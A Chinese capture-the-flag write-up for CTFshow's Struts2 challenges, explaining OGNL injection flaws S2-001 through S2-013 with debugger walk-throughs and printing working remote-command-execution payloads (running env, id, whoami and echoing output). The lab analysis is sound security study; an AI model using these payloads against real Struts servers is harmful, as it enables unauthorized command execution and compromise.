CTFshowJava

CTFshow Java

全部题都是struts2框架漏洞

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

注意以下所有漏洞都可以直接利用公开的脚本进行一键利用

首先要了解一下OGNL中的特殊符号作用

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式

关于OGNL语言的介绍可以看这里,在这里可以进行利用是因为struts将其作为默认语言

判断页面是否基于Struts2:

  • 通过页面回显的错误消息来判断,页面不回显错误消息时则无效
  • 通过网页后缀来判断,如.do .action,有可能不准
    • 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
    • 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
  • 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

脚本链接

ValueStack

后面会高频出现的一个东西,先来了解一下

首先Struts2的运行流程是(后面的很多东西都是基于这个流程分析的)

流程图

  1. HTTP请求经过一系列的标准过滤器(Filter)组件链(这些拦截器可以是Struts2 自带的,也可以是用户自定义的,本环境中struts.xml中的package继承自struts-default,struts-default就使用了Struts2自带的拦截器.ActionContextCleanUp主要是清理当前线程的ActionContext、Dispatcher,FilterDispatcher主要是通过ActionMapper来决定需要调用那个Action,FilterDispatcher是控制器的核心,也是MVC中控制层的核心组件),最后到达FilterDispatcher过滤器.

  2. 核心控制器组件FilterDispatcher根据ActionMapper中的设置确定是否需要调用某个Action组件来处理这个HttpServletRequest请求,如果ActionMapper决定调用某个Action组件,FilterDispatcher核心控制器组件就会把请求的处理权委托给ActionProxy组件.

  3. ActionProxy组件通过Configuration Manager组件获取Struts2框架的配置文件struts.xml,最后找到需要调用的目标Action组件类,然后ActionProxy组件就创建出一个实现了命令模式的ActionInvocation类的对象实例类的对象实例(这个过程包括调用Anction组件本身之前调用多个的拦截器组件的before()方法)同时ActionInvocation组件通过代理模式调用目标Action组件.但是在调用之前ActionInvocation组件会根据配置文件中的设置项目加载与目标Action组件相关的所有拦截器组件(Interceptor)

  4. 一旦Action组件执行完毕,ActionInvocation组件将根据开发人员在Struts2.xml配置文件中定义的各个配置项目获得对象的返回结果,这个返回结果是这个Action组件的结果码(比如SUCCESS、INPUT),然后根据返回的该结果调用目标JSP页面以实现显示输出.

  5. 最后各个拦截器组件会被再次执行(但是顺序和开始时相反,并调用after()方法),然后请求最终被返回给系统的部署文件中配置的其他过滤器,如果已经设置了ActionContextCleanUp过滤器,那么FilterDispatcher就不会清理在ThreadLocal对象中保存的ActionContext信息.如果没有设置ActionContextCleanUp过滤器,FilterDispatcher就会清除掉所有的ThreadLocal对象.

279

漏洞:S2-001

漏洞成因:当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞分析:

  1. 首先断点打在接受参数并验证的地方,进而跟进触发点

  2. 由于验证失败导致返回error进行渲染,查看对<s:textfield>标签的渲染规则

    jsp文件中遇到Struts2标签 <s:textfield 时程序会先调用 doStartTag,并将标签中的属性设置到TextFieldTag对象相应属性中.在遇到 /> 结束标签的时候调用doEndTag方法

  3. 直接在渲染函数处打断点,在org.apache.struts2.views.jsp.ComponentTagSupport中找到上述提到的两个函数

  4. 跟进end方法,继续跟进evaluateParams方法,可以看到在这个方法中如果开启了altSyntax,那么就会在name属性的字段两边添加OGNL表达式字符生成expr属性,步过执行发现expr内容确实被改变

  5. 继续跟进findValue方法,在这里就能看到出问题的点了,就是translateVariables方法

  6. 步入后发现其又调用了同名重载方法,直接看重载后的函数内容

    第一次获取o的值,这里的stack为OgnlValueStack,它是ValueStack的实现类.ValueStack是Struts2的一个接口,表面意义为值栈,类似于一个数据中转站,Struts2的数据都会保存在ValueStack中.Struts2在发起请求创建Action实例的同时会创建一个OgnlValueStack值栈实例.Struts2使用OGNL将请求Action的参数封装为对象存储到值栈中,并通过OGNL表达式读取值栈中的对象属性值.

    ValueStack中有两个主要区域:

    ​ CompoundRoot区域:是一个ArrayList,存储了Action实例,它作为OgnlContext的Root对象.获取root数据不需要加#

    ​ context区域:即OgnlContext上下文,是一个Map,放置web开发常用的对象数据的引用.request、session、parameters、application等.获取context数据需要加#

    操作值栈,通常指的是操作ValueStack中的root区域.

    OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值

    以上为大佬解析的stack变量的内容,不管如何,我们直接跟进到55行的stack的findValue方法中,可以看到传入的参数内容继续步入到OgnlUtil.getValue方法中,继续步入到Ognl.getValue方法中,可以看到其对name参数进行了compile操作并返回传入的getValue方法,将username中的内容取出并执行其中的OGNL表达式如此反复可以看到最后OGNL表达式被成功执行并且结果存入了result中

payload:

// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

280

漏洞:S2-003 S2-005 CVE-2008-6504

漏洞成因:

  • S2-003成因是Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
  • S2-005的原理和S2-003基本相似,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响范围:Struts 2.0.0 - Struts 2.1.8.1

漏洞分析:

  1. 首先触发点com.opensymphony.xwork2.interceptor.ParametersInterceptor,可以看到默认的denyMethodExecution值是true,改为false才能继续执行,所以payload中部分内容是要将其改为false的
  2. 查看执行payload后其中获取的参数
  3. 步入setParameters函数,函数通过迭代器将参数逐个取出
  4. 步入acceptableName函数,继续步入isAccepted函数
  5. 可以看到此处的正则表达式只是简单的对#进行了过滤并没有过滤unicode字符,最终执行结束返回字符串使得判定为真
  6. 下一步继续跟进stack的setValue方法
  7. 发现其又调用了同名的重载方法,继续跟进OgnlUtil.setValue
  8. 跟入compile方法,继续跟入parseExpression方法,继续跟入topLevelExpression方法,继续进入expression,经过一系列操作后最终解析到ognl.JavaCharStream#readChar对字符串进行操作
  9. 可以看到其对\u类型的字符进行了专门的解析,将其转化为正常字符,导致OGNL表达式执行

281

漏洞:S2-007 CVE-2012-0838

漏洞成因:在Struts2中,可以将HTTP请求数据注入到实际业务Action的属性中,这些属性可以是任意类型的数据,通过HTTP只能获取到String类型数据,Struts2中默认有一个类型转换器,可以完成大部分的自动转换操作,可以通过xml文件,来定义转换规则.比如Action类中有一个integer属性,不需要执行任何操作,Struts会自动将请求参数转换为integer属性.当配置了Validation时,若类型转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次OGNL表达式解析并返回,从而可以构造特殊的恶意请求来执行命令.这种利用方式和S2-001的很相似,不同的是利用点不同.

影响版本:Struts 2.0.0 - Struts 2.2.3

漏洞分析:

  1. 首先看demo中对Struts2的默认类型转换器的调用,其通过xml文件来定义转换规则,在环境给予的demo中就将age转换为int类型,范围在1-100
  2. 具体漏洞触发点就在com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor中,先在对应位置打好断点,然后发起请求,将payload放入
  3. 可以看到此处的代码将转换出问题的内容放入了conversionErrors变量中,并在i$迭代器中循环将属性名赋值给propertyName,属性值赋值给value
  4. 最后对fakie进行的put操作,我们跟进getOverrideExpr方法,可以看到对value进行处理时对字符串前后分别添加了一个单引号,这也是我们的payload是这种格式的原因,
  5. 最终走入OgnlValueStack的setExprOverrides方法,将fakie赋值给overrides属性
  6. 当拦截器执行结束后会将jsp内容进行解析,会从OgnlValueStack的overrides属性中寻找key为age的键值对并执行ognl表达式

payload:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

282

漏洞:S2-008 CVE-2012-0391

漏洞成因:Struts2框架存在一个devmode模式,当devmode模式开启时,Struts2对传入的参数没有严格限制,导致多个地方可以执行恶意代码

影响版本:Struts 2.0.0 - Struts 2.3.17

漏洞分析:

  1. 首先看出发点位置在org.apache.struts2.interceptor.debugging.DebuggingInterceptor,在第95行处打断点,获取到debug的值为command,进入else if的判断,查看内容
  2. 可以看到进入了else if的判断后将expression传入参数的值在138行交给了cmd,又在145行通过stack.findValue执行了OGNL表达式并将回显内容写入页面

漏洞修复:在之后的版本中使用正则表达式来防止内容执行

Payload:

?debug=command&expression=%28%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28"false"%29%20%2C%23context%5B"xwork.MethodAccessor.denyMethodExecution"%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29

283

漏洞:S2-009 CVE-2011-3923

漏洞成因:Struts2框架中ParametersInterceptor拦截器只检查传入的参数名是否合法,不会检查参数值,例如传入参数top['foo'](0)会通过ParametersInterceptor的白名单检查,OGNL会将其解析为(top[‘foo’])(0),并将foo的值也作为OGNL表达式进行计算从而造成代码执行

其实这个漏洞是对S2-003和S2-005漏洞的绕过.S2-003的修复方法是禁止#号,于是S2-005通过使用#号的unicode编码\u0023或8进制编码\43来绕过,Struts2对S2-005的修复方法是禁止\等特殊符号,这次是通过Struts2框架中ParametersInterceptor拦截器只检查传入的参数名而不检查参数值的方式进行构造OGNL表达式从而造成代码执行

影响版本:Struts 2.0.0 - Struts 2.3.1

漏洞分析:

  1. 流程与S2-005基本相同,跳过分析,直接分析payload
  2. 当有形似(one)(two)的变量时,one会被当作一个OGNL表达式去计算,然后把它的结果当作另一个以two为根对象的OGNL表达式再一次计算,所以,如果one有返回内容,那么这些内容将会被当作OGNL语句被计算,而payload结尾传入的z[(name)(%27meh%27)]就是为了把name参数的值当作OGNL表达式计算

payload:

?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27whoami%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] 

284

漏洞:S2-012 CVE-2013-1965

漏洞成因:在Struts2框架中,如果配置Action中的Result时使用了重定向类型,并且还使用${param_name}作为重定向变量,当触发redirect类型返回时,Struts2使用${param_name}获取其值,在这个过程中会对name参数的值执行OGNL表达式解析,从而可以插入任意OGNL表达式导致任意代码执行

影响版本:Struts 2.0.0 - Struts 2.3.14.2

漏洞分析:

  1. 首先还是查看配置文件,可以看到其中使用了redirect方法并且返回值中使用了${name}取值,存在漏洞触发条件

  2. com.opensymphony.xwork2.DefaultActionInvocation类中打断点

  3. 步入方法,createResult方法会根据action的返回值获取对应的result标签配置,然后传入到buildResult方法中,这个方法的作用是生成对应的Result实现类,也就是org.apache.struts2.dispatcher.ServletRedirectResult类,并把对应 result标签的值/index.jsp?name=${name}设置给ServletRedirectResult 类的location属性,然后返回ServletRedirectResult

  4. 然后返回到executeResult方法中继续执行,进入到this.result.execute中,查看result就是ServletRedirectResult类型,步入发现其执行了super的execute方法,继续跟入conditionalParse方法,发现其执行了S2-001中同名关键方法translateVariables,并且通过重载能看到限制了循环次数最高为1,这就是对S2-001的漏洞修复

  5. 对于S2-001漏洞,官方设置了循环次数,从而限制恶意代码,但这个设置的循环次数是针对的while循环,在外面还有一个for循环,for循环开始的pos参数用来获取expression表达式的开始位置,比如解析完了%{password}的值,下一次解析是从%{password}后面开始.在S2-001的修复中它被放在了for循环里,导致第二次for循环时pos的值会被重置为0.从而又从头开始解析.从下图中的变量值可以看到for进行了2次循环,循环2次是因为传入的参数new char[]{‘$’, ‘%’}长度为2导致的.for第二次循环时open为arr数组的第二个参数%,这个%和{组合后又成了S2-001的利用所需要的条件,最后还是通过while循环中的stack.findValue来进行执行代码的.S2-001修复方案中的增加loopCount变量限制了while循环的次数,却没有限制for循环的次数,每次for循环开始时loopCount都会被重置为1.

payload:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

285

漏洞:S2-013 CVE-2013-1966

漏洞成因:在Struts2标签中和都包含一个includeParams属性,其值可设置为none、get 或 all,其对应意义分别为:none:链接不包含请求的任意参数值(默认),get:链接只包含GET请求中的参数和其值,all:链接包含GET和POST所有参数和其值,用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上,这个参数会进行OGNL表达式解析,从而可以插入任意OGNL表达式导致任意代码执行

影响版本:Struts 2.0.0 - Struts 2.3.14.1

漏洞分析:

  1. 看配置文件,includeParams属性为all
  2. org.apache.struts2.components.ComponentUrlProvider打断点
  3. 跟入beforeRenderUrl函数,这个函数获取了url所传递的参数可以看到includeParams参数为all,此处的mergeRequestParameters获取到了url中传递的参数
  4. 步过执行直到end函数,继续步入renderUrl函数,此时我们能看到我们的payload已经被放入到了urlComponent的paramters属性中,继续跟入determineActionURL函数
  5. 进入到重载函数determineActionURL,执行到最后发现我们payload前半段已经被被执行,actionMapper中的allowDynamicMethodCalls属性已经变为true,继续跟入buildUrl方法
  6. 步过到buildParametersString,步入该函数,可以看到我们传入的url和参数被传入其中
  7. 进入到重载方法中,执行直到166行buildParameterSubstring函数,可以看到我们的payload已经被传入其中
  8. 继续跟入translateAndEncode函数,跟入translateVariable函数,可以发现valueStack出现了
  9. 继续跟入就是translateVariables函数了,OGNL表达式在这里被执行

payload:

?a=%24%7B%23_memberAccess%5B"allowStaticMethodAccess"%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D